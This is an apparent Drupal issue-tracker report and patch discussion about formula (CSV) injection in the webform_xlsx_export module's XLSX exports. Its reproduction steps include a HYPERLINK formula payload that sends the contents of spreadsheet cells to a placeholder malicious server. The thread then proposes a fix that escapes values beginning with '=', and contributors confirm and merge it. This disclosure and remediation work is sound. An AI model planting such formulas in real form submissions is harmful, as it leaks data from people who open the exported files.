Problem/Motivation
Malicious user filling in a webform can put in a formula and trigger all sorts of bad things for a user opening generated with this module file.
See https://owasp.org/www-community/attacks/CSV_Injection for examples of bad things that can be done. That page talks about CSV , but simply starting any text field in a webform with equals sign will make office software opening the file to treat the value as a formula.
Steps to reproduce
- Install webform module and this module
- Open contact form (
/form/contact) - fill in Message field with
=HYPERLINK("https://maliciousserver.example/?leak=&A2&B2&C2&D2&E2&F2&G2&H2&I2&J2", "click me") - submit the form
- navigate to the results download page (
/admin/structure/webform/manage/contact/results/download) - select XLSX export format and click download button
- open exported file in any office software and observe X2 cell displaying click me value
Proposed resolution
Treat any cell value starting with equals sign as a simple string. This will result in a malicious formula being displayed to the use in the office software, rather than being processed as formula.
Remaining tasks
- Patch
- Review
- Commit
User interface changes
None
API changes
None
Data model changes
None
| Comment | File | Size | Author |
|---|---|---|---|
| #2 | webform_xlsx_export-3358977-2.patch | 1.04 KB | rosk0 |
Issue fork webform_xlsx_export-3358977
Show commands
Start within a Git clone of the project using the version control instructions.
Or, if you do not have SSH keys set up on git.drupalcode.org:
Comments
Comment #2
rosk0Patch implementing suggested change.
Comment #3
rosk0More formatting.
Comment #4
rosk0Comment #7
keshavv commentedCompletely agree with your point. I have tested the patch, Its working perfect.
Created the MR for easy merge. Moving to RTBC.
Comment #10
prudloff commentedThanks for the report and the patch!
I can confirm it fixes the problem.
Failing tests seem to be unrelated so I merged the MR.